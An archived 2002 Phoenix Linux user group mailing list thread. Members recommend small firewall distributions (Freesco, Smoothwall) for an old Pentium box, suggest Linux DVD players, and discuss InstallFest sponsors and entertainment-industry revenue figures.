this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:00:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Wed, 5 Jun 2002 19:00:13 -0700 Subject: Who are the sponsors? Message-ID: <200206051900.13291.dennisk@sahuaro.f2s.com> If someone will give me a list of "offical" sponsors to be included in the PR I'll add that tonight and post it back to the list. Dennis From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:03:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 5 Jun 2002 21:03:53 -0400 (EDT) Subject: Entertainment "Sector" - was: InstallFest Tips? In-Reply-To: Message-ID: On Wed, 5 Jun 2002, der.hans wrote: > $35 billion? industry vs. sector? > > A couple of films this year have made over $100 million in the opening > weekend. Spider Man has over $300 million in the .us thus far. > > Hell, film, tv, music, and sports all probably top $35 billion on their own. > Granted, there's a lot of cross-over because sports get a lot of the money > from tv, but I find it hard to believe that the 'entertainment sector' is > only $35 billion. You are rightly incredulous. This is excerpted from: http://bpdg.blogs.eff.org/archives/000008.html The census report I'm wagering that was used to generate this figure is here (Census through 2000 for Arts, Entertainment, and Recreation Services): http://www.census.gov/svsd/www/sas71-2.pdf Line 71 is arts, entertainment and recreation. Line 711 is probably where Cory Doctorow's number originates. 38 billion in 2000, and it has probably dropped since then. Spectator sports account for 17 of that 38. However, if you poke around a bit more you find that television, radio, movies, and music are actually not in entertainment. They are in Information Sector Services. http://www.census.gov/svsd/www/sas51-2.pdf Books: 25 billion Magazines: 39 billion Movies: 53 billion Broadcast TV: 38 billion Cable: 67 billion Recorded Music: 12 billion Radio: 15 billion Software: 88 billion IT Services: 76 billion (I don't have the will to wade through the manufacturing reports to invalidate the 600 billion number) But I digress. It's propaganda. It's not supposed to be true. Truth is what civilized, respectable humans use to communicate with each other. Propaganda is what the RIAA, MPAA, EFF, and FSF use to affect the political process. Successful lobbyists do not become successful by being civilized and respectable. Likewise they are not likely to blur the distinction between propaganda and truth. I suspect that this constant immersion in lies is what ultimately turns once honorable persons, who set out to serve and protect, into corrupt politicians. They play the game for so long that they forget that there once was an underlying truth for which they were fighting. Is this good? Is it fair? Is it right? Of course not. But to me, that is not sufficient reason to turn my back on the process and let the MPAA and RIAA take away my right to own and operate a general purpose computer running a Free operating system. ------------------------------------------------------------------- "This time around, everything not forbidden is mandatory." "...Congress is willing to butcher the $600 billion tech industry to feed the $35 billion entertainment sector..." http://www.eff.org/blogs/bpdg/ ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:12:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Wed, 5 Jun 2002 19:12:32 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <000001c20cff$9e63ce50$0401a8c0@minkland.com> Freesco at http://www.freesco.org. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] On Behalf Of robert jorgenson Sent: Wednesday, June 05, 2002 6:36 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: firewall Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... Parents Wintendo Box / Internet--qwest gateway box--4 port hub--[ \ 8 port hub--My main box Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:52:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 19:52:11 -0700 (PDT) Subject: firewall In-Reply-To: <000001c20cff$9e63ce50$0401a8c0@minkland.com> Message-ID: <20020606025211.27125.qmail@web13908.mail.yahoo.com> Smoothwall at www.smoothwall.org --- Adrian Mink wrote: > Freesco at http://www.freesco.org. > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us] > On Behalf Of robert > jorgenson > Sent: Wednesday, June 05, 2002 6:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: firewall > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its > got a floppy drive and a 2 gig HD(couldn't find > anything smaller), a > 3com NIC, a realtek NIC, 64 megs of RAM and i was > wondering what would > be a good small firewall distro that i could install > without a cdrom. > Right now my setup is like this ... > > Parents > Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port > hub--My main box > > Im thinking it would be best to put the firewall > infront of the first 4 > port hub but my parents are wierd and i doubt they > would let me do that, > so i will probably be putting it in front of my hub. > I really just want > something to keep unwanted things out of my box. > Plus i also want to set > up a web/ftp/email server sometime in the near > future but thats > soemthing else alltogether :) Any help is apreciated > thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't > post to the list quickly and you use Netscape to > write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:00:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 20:00:31 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060301.XAA32236@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:24:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 21:24:36 -0700 Subject: firewall In-Reply-To: <200206060301.XAA32236@hostinworld6.com> References: <20020605183627.786d605b.snoogans@qwest.net> <200206060301.XAA32236@hostinworld6.com> Message-ID: <20020605212436.5f796901.snoogans@qwest.net> >From thier site it appears you need a 20MB cd iso image to install smoothwall ... am i missing something somewhere? On 05 Jun 2002 20:00:31 -0700 "Bryce C." wrote: > I've got a box nearly identical to that running smoothwall for my > network. I've actually got a 13Gb in it, (yes I know it's overkill but > it's for caching my little modem connection). It did have a floppy and > cdrom but I pulled those for other computers because it didn't need > them. Just the floppy drive was all that I needed for install w/network > option. Best router in my opinion it doesn't take forever to boot as > with floppies. Also, great user interface! (Especially once you edit > the files and remove the banners!) Just try it and you'll be amazed. > > Bryce C. > Network Administrator > CoBryce Communications > Bryce @ BryceCo . Net > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port hub--My main box > > > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:00:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 20:00:33 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060301.XAA32359@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 03:06:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Wed, 5 Jun 2002 20:06:56 -0700 Subject: DVD Player on Linux Message-ID: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Hi all, First time poster, after lurking for a couple of weeks. I've decided to install and tinker around with Redhat Linux 7.2 after working with Solaris machines for a couple of years. I was wondering if there was any recommendations for DVD player software on the linux platform. So far, I've tried Xine but still couldn't play encrypted DVDs (which is all of my DVD library, unfortunately). Any of you have any experience on this? Yicheng From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 02:58:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 19:58:50 -0700 Subject: firewall In-Reply-To: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <200206060259.WAA30877@hostinworld6.com> I've got a box nearly identical to that running smoothwall for my network. I've actually got a 13Gb in it, (yes I know it's overkill but it's for caching my little modem connection). It did have a floppy and cdrom but I pulled those for other computers because it didn't need them. Just the floppy drive was all that I needed for install w/network option. Best router in my opinion it doesn't take forever to boot as with floppies. Also, great user interface! (Especially once you edit the files and remove the banners!) Just try it and you'll be amazed. Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > Parents Wintendo Box > / > Internet--qwest gateway box--4 port hub--[ > \ > 8 port hub--My main box > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:53:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nick Estes) Date: Wed, 5 Jun 2002 21:53:26 -0700 (MST) Subject: DVD Player on Linux In-Reply-To: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I've had great success with ogle, xine-dvdnav, and mplayer. Ogle so far seems to be the best all around player, but if you're cpu limited, mplayer might work a bit better for you. --Nick On Wed, 5 Jun 2002, Yicheng Li wrote: > Hi all, > > First time poster, after lurking for a couple of weeks. I've decided to > install and tinker around with Redhat Linux 7.2 after working with Solaris > machines for a couple of years. > > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? > > Yicheng > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQE8/urJv+hjYTGg7s4RAhecAJwIC/6tmuOUwR5PbJdWjHYJgnThOQCghQmZ qN7B1057SPPkA9BRPkEGV7U= =xPf3 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:54:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 21:54:09 -0700 Subject: DVD Player on Linux References: <005601c20d07$37a46cd0$6600a8c0@YICHENGWIN2K> Message-ID: <3CFEEAF1.14984AA4@qwest.net> Ogle DVD software: http://www.dtek.chalmers.se/groups/dvd/index.html Yicheng Li wrote: > > Hi all, > > First time poster, after lurking for a couple of weeks. I've decided to > install and tinker around with Redhat Linux 7.2 after working with Solaris > machines for a couple of years. > > I was wondering if there was any recommendations for DVD player software on > the linux platform. So far, I've tried Xine but still couldn't play > encrypted DVDs (which is all of my DVD library, unfortunately). Any of you > have any experience on this? > > Yicheng > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 04:56:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 06 Jun 2002 00:56:41 -0400 Subject: Who are the sponsors? Message-ID: The "official" sponsor list so far is on the sponsors page at the install fest web site. I have many more in the works but no firm commitments from them yet. I have called/emailed them asking for commitments or they will miss out on being listed in published materials. I will let you know when then come in. Alan On Wed, 5 Jun 2002 19:00:13 -0700 Dennis Kibbe wrote: If someone will give me a list of "offical" sponsors to be included in the PR I'll add that tonight and post it back to the list. Dennis ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:28:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 5 Jun 2002 22:28:23 -0700 Subject: firewall In-Reply-To: <3CFEBECA.B30192E5@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> <3CFEBECA.B30192E5@qwest.net> Message-ID: <200206052228.24139.lists@chevy-lemonade.com> I use e-smith from Mitel in just such a situation. You do need to at least temporarly put in a CD for the install though and have PCI NICs. On Wednesday 05 June 2002 06:45 pm, Kevin Brown wrote: > Take a look at some of these: > > http://freshmeat.net/search/?q=floppy+firewall§ion=projects > > robert jorgenson wrote: > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got > > a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com > > NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a > > good small firewall distro that i could install without a cdrom. Right > > now my setup is like this ... > > > > Parents Wintendo Box > > / > > Internet--qwest gateway box--4 port hub--[ > > \ > > 8 port hub--My main box > > > > Im thinking it would be best to put the firewall infront of the first 4 > > port hub but my parents are wierd and i doubt they would let me do that, > > so i will probably be putting it in front of my hub. I really just want > > something to keep unwanted things out of my box. Plus i also want to set > > up a web/ftp/email server sometime in the near future but thats soemthing > > else alltogether :) Any help is apreciated thanks :) > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Don't trust the "Bow Tie" Chevrolet, the HEARTBREAK of America visit http://www.chevy-lemonade.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:23:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Wed, 05 Jun 2002 22:23:51 -0700 Subject: Contact for installfest References: <20020605202350.55136.qmail@web13904.mail.yahoo.com> <02060515573215.00730@nova.wedge.org> Message-ID: <3CFEF1E7.D46356DB@leml.asu.edu> Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Bill is the coordinator for the Install Fest. > > And we will indubitably be keeping tabs on how successful every install goes > and if a problem crops up, we should be noting the reason(s). networked bugtracker ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:32:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 22:32:13 -0700 (PDT) Subject: Who are the sponsors? In-Reply-To: Message-ID: I wonder if Intel would be willing to help out? Especially since they're giving a presentation to the PLUG next week... Could whoever is in contact with them for their presentation ask them if they'd like to be involved in the InstallFest? On Thu, 6 Jun 2002 alandd@mindspring.com wrote: > The "official" sponsor list so far is on the sponsors page at the install fest web site. I have many more in the works but no firm commitments from them yet. > > I have called/emailed them asking for commitments or they will miss out on being listed in published materials. I will let you know when then come in. > > Alan > > On Wed, 5 Jun 2002 19:00:13 -0700 Dennis Kibbe wrote: > > If someone will give me a list of "offical" sponsors to be included in the PR > I'll add that tonight and post it back to the list. > > Dennis > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:45:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 05 Jun 2002 22:45:20 -0700 Subject: firewall In-Reply-To: <20020605212436.5f796901.snoogans@qwest.net> References: <20020605183627.786d605b.snoogans@qwest.net> <200206060301.XAA32236@hostinworld6.com> <20020605212436.5f796901.snoogans@qwest.net> Message-ID: <200206060545.BAA20309@hostinworld6.com> I don't remeber exactly how I did it but I think I mounted the ISO, copied the .tgz file from inside the mount to my webserver and created a boot floppy from the files in the images/ directory at the same time, I think. On 05 Jun 2002 21:24:36 -0700, robert jorgenson wrote: > >From thier site it appears you need a 20MB cd iso image to install smoothwall ... am i missing something somewhere? > > On 05 Jun 2002 20:00:31 -0700 > "Bryce C." wrote: > > > I've got a box nearly identical to that running smoothwall for my > > network. I've actually got a 13Gb in it, (yes I know it's overkill but > > it's for caching my little modem connection). It did have a floppy and > > cdrom but I pulled those for other computers because it didn't need > > them. Just the floppy drive was all that I needed for install w/network > > option. Best router in my opinion it doesn't take forever to boot as > > with floppies. Also, great user interface! (Especially once you edit > > the files and remove the banners!) Just try it and you'll be amazed. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson wrote: > > > Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 port hub--My main box > > > > > > Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 05:51:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 5 Jun 2002 22:51:01 -0700 (PDT) Subject: firewall In-Reply-To: <20020605212436.5f796901.snoogans@qwest.net> Message-ID: <20020606055101.25994.qmail@web13904.mail.yahoo.com> If you download the user guide, which is also an installation guide it gives details on how to install without a cd-rom. You do need an HTTP or an FTP server on your own private network to get it done. The user guide explains it all. mike --- robert jorgenson wrote: > From thier site it appears you need a 20MB cd iso > image to install smoothwall ... am i missing > something somewhere? > > On 05 Jun 2002 20:00:31 -0700 > "Bryce C." wrote: > > > I've got a box nearly identical to that running > smoothwall for my > > network. I've actually got a 13Gb in it, (yes I > know it's overkill but > > it's for caching my little modem connection). It > did have a floppy and > > cdrom but I pulled those for other computers > because it didn't need > > them. Just the floppy drive was all that I needed > for install w/network > > option. Best router in my opinion it doesn't take > forever to boot as > > with floppies. Also, great user interface! > (Especially once you edit > > the files and remove the banners!) Just try it > and you'll be amazed. > > > > Bryce C. > > Network Administrator > > CoBryce Communications > > Bryce @ BryceCo . Net > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson > wrote: > > > Ok i got this P1 200 mhz box here i want to turn > into a firewall, its got a floppy drive and a 2 gig > HD(couldn't find anything smaller), a 3com NIC, a > realtek NIC, 64 megs of RAM and i was wondering what > would be a good small firewall distro that i could > install without a cdrom. Right now my setup is like > this ... > > > > > > > Parents Wintendo Box > > > / > > > Internet--qwest gateway box--4 port hub--[ > > > \ > > > 8 > port hub--My main box > > > > > > Im thinking it would be best to put the firewall > infront of the first 4 port hub but my parents are > wierd and i doubt they would let me do that, so i > will probably be putting it in front of my hub. I > really just want something to keep unwanted things > out of my box. Plus i also want to set up a > web/ftp/email server sometime in the near future but > thats soemthing else alltogether :) Any help is > apreciated thanks :) > > > > > > ________________________________________________ > > > See > http://PLUG.phoenix.az.us/navigator-mail.shtml if > your mail doesn't post to the list quickly and you > use Netscape to write mail. > > > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 06:22:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 23:22:18 -0700 Subject: firewall In-Reply-To: <20020606055101.25994.qmail@web13904.mail.yahoo.com> References: <20020605212436.5f796901.snoogans@qwest.net> <20020606055101.25994.qmail@web13904.mail.yahoo.com> Message-ID: <20020605232218.1a498f78.snoogans@qwest.net> Can i set up smoothwall so i still go through the qwest box for the dhcp server? Or will i have to split the main internet line to go through the smoothwall box and the qwest gatewaybox(for the wierd parents) and just have my own network? Also which option would be more secure? On Wed, 5 Jun 2002 22:51:01 -0700 (PDT) "MCR" wrote: > If you download the user guide, which is also an > installation guide it gives details on how to install > without a cd-rom. You do need an HTTP or an FTP > server on your own private network to get it done. > The user guide explains it all. > mike > > --- robert jorgenson wrote: > > From thier site it appears you need a 20MB cd iso > > image to install smoothwall ... am i missing > > something somewhere? > > > > On 05 Jun 2002 20:00:31 -0700 > > "Bryce C." wrote: > > > > > I've got a box nearly identical to that running > > smoothwall for my > > > network. I've actually got a 13Gb in it, (yes I > > know it's overkill but > > > it's for caching my little modem connection). It > > did have a floppy and > > > cdrom but I pulled those for other computers > > because it didn't need > > > them. Just the floppy drive was all that I needed > > for install w/network > > > option. Best router in my opinion it doesn't take > > forever to boot as > > > with floppies. Also, great user interface! > > (Especially once you edit > > > the files and remove the banners!) Just try it > > and you'll be amazed. > > > > > > Bryce C. > > > Network Administrator > > > CoBryce Communications > > > Bryce @ BryceCo . Net > > > > > > On 05 Jun 2002 18:36:27 -0700, robert jorgenson > > wrote: > > > > Ok i got this P1 200 mhz box here i want to turn > > into a firewall, its got a floppy drive and a 2 gig > > HD(couldn't find anything smaller), a 3com NIC, a > > realtek NIC, 64 megs of RAM and i was wondering what > > would be a good small firewall distro 